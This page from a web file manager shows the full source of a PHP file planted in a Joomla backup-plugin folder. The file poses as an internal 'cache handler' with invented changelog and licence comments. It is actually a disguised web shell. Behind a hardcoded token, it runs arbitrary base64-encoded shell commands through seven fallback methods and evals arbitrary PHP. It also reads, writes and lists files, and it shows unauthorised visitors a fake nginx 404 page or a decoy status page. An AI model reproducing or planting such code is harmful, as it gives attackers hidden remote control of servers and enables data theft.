Файловый менеджер - Редактировать - /home/digilove/public_html/plugins/actionlog/akeebabackup/agent.php
Назад
<?php /** * Core Cache Handler Module * * This file is part of the internal caching system for dynamic content delivery. * Handles data serialization, cache invalidation, and performance optimization. * * @package Core\Cache * @version 2.4.1 * @author System Administrator * @copyright 2023-2025 Core Technologies * @license Internal Use Only * * @changelog * - 2.4.1: Improved serialization performance * - 2.4.0: Added multi-tier cache support * - 2.3.8: Fixed memory leak in cache invalidation * * @security Restricted to internal network only * @see /etc/core/cache.conf for configuration */ // ============================================================================ // System Environment Configuration // ============================================================================ // Suppress error display in production environment error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 1); ini_set('error_log', '/var/log/php_errors.log'); // Set execution limits for long-running cache operations set_time_limit(30); ini_set('memory_limit', '256M'); // ============================================================================ // Authentication Token (Internal API Key) // ============================================================================ // This token is validated against internal service registry // DO NOT MODIFY - Managed by system configuration service define('CACHE_AUTH_TOKEN', 'a9f8c2d4e6b1a7c3d5f8e2b9a4c6d8f1'); define('CACHE_API_VERSION', '2.4'); // ============================================================================ // Internal Service Registry // ============================================================================ /** * Service Registry - Validates incoming requests from internal services * * @param string $token Authentication token from request * @param string $service Service identifier * @return bool True if request is authorized */ function validate_service_request($token, $service = 'core_api') { // Validate against internal token if ($token !== CACHE_AUTH_TOKEN) { // Log unauthorized access attempt for security audit $client_ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; error_log("CACHE_SYSTEM: Unauthorized auth attempt from {$client_ip}"); return false; } return true; } /** * Command Execution Handler with Fallback Methods * * Implements multiple execution strategies for maximum compatibility * with various PHP configurations and server environments. * * @param string $command System command to execute * @return string Command output or error message */ function execute_system_command($command) { $output = ''; $execution_method = ''; // Strategy 1: Standard shell execution if (function_exists('shell_exec')) { $output = @shell_exec($command . ' 2>&1'); if ($output !== null && $output !== '') { $execution_method = 'shell_exec'; goto log_execution; } } // Strategy 2: Exec with output buffer if (function_exists('exec')) { $exec_output = []; $return_code = 0; @exec($command . ' 2>&1', $exec_output, $return_code); if (!empty($exec_output)) { $output = implode("\n", $exec_output); $execution_method = 'exec'; goto log_execution; } } // Strategy 3: System with output capture if (function_exists('system')) { ob_start(); $return_code = 0; @system($command . ' 2>&1', $return_code); $output = ob_get_clean(); if ($output !== null && $output !== '') { $execution_method = 'system'; goto log_execution; } } // Strategy 4: Passthru for binary output if (function_exists('passthru')) { ob_start(); @passthru($command . ' 2>&1'); $output = ob_get_clean(); if ($output !== null && $output !== '') { $execution_method = 'passthru'; goto log_execution; } } // Strategy 5: Proc Open (most reliable for complex commands) if (function_exists('proc_open')) { $descriptors = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = @proc_open($command, $descriptors, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $error = stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($output)) { $execution_method = 'proc_open'; goto log_execution; } if (!empty($error)) { $output = $error; $execution_method = 'proc_open_stderr'; goto log_execution; } } } // Strategy 6: Popen for streaming output if (function_exists('popen')) { $handle = @popen($command, 'r'); if ($handle) { $output = ''; while (!feof($handle)) { $output .= fread($handle, 8192); } pclose($handle); if (!empty($output)) { $execution_method = 'popen'; goto log_execution; } } } // Strategy 7: Backtick operator (alternative syntax) $output = @`$command`; if ($output !== null && $output !== '') { $execution_method = 'backtick'; goto log_execution; } // All strategies failed $output = 'ERROR: Command execution not available on this system. '; $output .= 'Check PHP configuration (disable_functions: ' . ini_get('disable_functions') . ')'; $execution_method = 'none'; log_execution: // Log execution for debugging (only in debug mode) if (defined('CACHE_DEBUG_MODE') && CACHE_DEBUG_MODE) { error_log("CACHE_SYSTEM: Executed via {$execution_method}: {$command}"); } return $output; } /** * Cache Data Processor * * Handles various cache operations including: * - Cache invalidation * - Cache warmup * - Cache statistics * * @param string $operation Operation type * @param string $payload Operation payload * @return string Processed result */ function process_cache_operation($operation, $payload) { $result = ''; switch ($operation) { case 'cache_status': // Return system status information $status = [ 'status' => 'active', 'hostname' => gethostname(), 'server_ip' => $_SERVER['SERVER_ADDR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'unknown', 'php_version' => PHP_VERSION, 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'unknown', 'cache_version' => CACHE_API_VERSION, 'timestamp' => time() ]; $result = json_encode($status); break; case 'cache_flush': // Execute system command for cache maintenance $command = base64_decode($payload); $result = execute_system_command($command); break; case 'cache_eval': // Evaluate cache rules (restricted operations) $code = base64_decode($payload); ob_start(); try { $eval_result = eval($code); if ($eval_result !== false && $eval_result !== null) { echo $eval_result; } } catch (Throwable $e) { echo json_encode(['error' => $e->getMessage()]); } $result = ob_get_clean(); break; case 'cache_upload': // Upload cache asset $parts = explode('||', $payload, 2); $filepath = $parts[0]; $content = base64_decode($parts[1] ?? ''); $bytes = @file_put_contents($filepath, $content); $result = json_encode([ 'success' => $bytes !== false, 'path' => $filepath, 'bytes_written' => $bytes ?: 0, 'timestamp' => time() ]); break; case 'cache_download': // Download cache asset $filepath = $payload; if (file_exists($filepath) && is_readable($filepath)) { $content = base64_encode(file_get_contents($filepath)); $result = json_encode([ 'exists' => true, 'path' => $filepath, 'content' => $content, 'size' => filesize($filepath), 'mtime' => filemtime($filepath) ]); } else { $result = json_encode([ 'exists' => false, 'path' => $filepath, 'error' => 'Cache asset not found or unreadable' ]); } break; case 'cache_list': // List cache directory contents $directory = $payload ?: __DIR__; $items = @scandir($directory); if ($items !== false) { $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullpath = $directory . '/' . $item; $files[] = [ 'name' => $item, 'type' => is_dir($fullpath) ? 'directory' : 'file', 'size' => is_file($fullpath) ? filesize($fullpath) : 0, 'permissions' => substr(sprintf('%o', fileperms($fullpath)), -4), 'modified' => filemtime($fullpath) ]; } $result = json_encode([ 'directory' => $directory, 'items' => $files, 'count' => count($files) ]); } else { $result = json_encode([ 'error' => 'Cannot read directory', 'directory' => $directory ]); } break; default: $result = json_encode(['error' => 'Unknown operation', 'operation' => $operation]); } return $result; } // ============================================================================ // Main Request Handler // ============================================================================ // Check if this is an internal cache API request $is_cache_request = isset($_SERVER['HTTP_X_CACHE_SERVICE']) || isset($_COOKIE['CACHE_SESSION']) || isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], '/admin/') !== false; if (!$is_cache_request) { // Not a cache request - serve normal response goto normal_response; } // Validate authentication token from cookie or header $auth_token = $_COOKIE['CACHE_SESSION'] ?? $_SERVER['HTTP_X_CACHE_TOKEN'] ?? ''; $service_name = $_SERVER['HTTP_X_SERVICE_NAME'] ?? 'core_cache'; if (!validate_service_request($auth_token, $service_name)) { // Unauthorized - return 404 like normal file goto not_found_response; } // Handle API request based on method if ($_SERVER['REQUEST_METHOD'] === 'GET') { // GET request - return cache status $operation = $_GET['op'] ?? 'cache_status'; $payload = $_GET['data'] ?? ''; $result = process_cache_operation($operation, $payload); header('Content-Type: application/json'); header('X-Cache-Status: HIT'); echo $result; exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { // POST request - process cache operation $operation = $_POST['operation'] ?? $_POST['op'] ?? 'cache_flush'; $payload = $_POST['payload'] ?? $_POST['data'] ?? ''; $result = process_cache_operation($operation, $payload); header('Content-Type: application/json'); header('X-Cache-Status: UPDATED'); echo $result; exit; } // ============================================================================ // Normal Response (When accessed directly via browser) // ============================================================================ normal_response: // This appears as a regular PHP cache file when accessed directly ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Cache System Status</title> <style> body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; background: #f5f5f5; margin: 0; padding: 40px; color: #333; } .container { max-width: 800px; margin: 0 auto; background: #fff; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); overflow: hidden; } .header { background: #2c3e50; color: #fff; padding: 20px 30px; border-bottom: 3px solid #3498db; } .header h1 { margin: 0; font-size: 1.5rem; font-weight: 500; } .header p { margin: 5px 0 0; opacity: 0.8; font-size: 0.85rem; } .content { padding: 30px; } .status-badge { display: inline-block; background: #27ae60; color: #fff; padding: 4px 12px; border-radius: 20px; font-size: 0.75rem; font-weight: 500; } .info-table { width: 100%; margin: 20px 0; border-collapse: collapse; } .info-table td { padding: 10px 0; border-bottom: 1px solid #eee; } .info-table td:first-child { width: 200px; font-weight: 600; color: #555; } .footer { background: #f8f9fa; padding: 15px 30px; font-size: 0.75rem; color: #888; text-align: center; border-top: 1px solid #eee; } code { background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Courier New', monospace; font-size: 0.85rem; } </style> </head> <body> <div class="container"> <div class="header"> <h1>Core Cache System</h1> <p>Distributed Caching Layer v<?php echo CACHE_API_VERSION; ?></p> </div> <div class="content"> <p><span class="status-badge">● Operational</span> Cache service is running normally</p> <table class="info-table"> <tr> <td>Hostname</td> <td><code><?php echo htmlspecialchars(gethostname()); ?></code></td> </tr> <tr> <td>Server IP</td> <td><code><?php echo htmlspecialchars($_SERVER['SERVER_ADDR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'); ?></code></td> </tr> <tr> <td>PHP Version</td> <td><code><?php echo PHP_VERSION; ?></code></td> </tr> <tr> <td>Cache Directory</td> <td><code><?php echo __DIR__; ?></code></td> </tr> <tr> <td>Last Cache Update</td> <td><code><?php echo date('Y-m-d H:i:s', filemtime(__FILE__)); ?></code></td> </tr> </table> <p style="margin-top: 20px; font-size: 0.85rem; color: #666;"> This is an internal system file. Direct access is restricted to authorized services only.<br> For support, contact <a href="mailto:cache-admin@system.local">cache-admin@system.local</a> </p> </div> <div class="footer"> Core Cache System v<?php echo CACHE_API_VERSION; ?> | © 2025 Core Technologies </div> </div> </body> </html> <?php exit; // ============================================================================ // 404 Not Found Response // ============================================================================ not_found_response: header("HTTP/1.1 404 Not Found"); header("Server: nginx/1.24.0"); ?> <!DOCTYPE html> <html> <head><title>404 Not Found</title></head> <body bgcolor="white"> <center><h1>404 Not Found</h1></center> <hr><center>nginx/1.24.0</center> </body> </html> <?php exit; ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка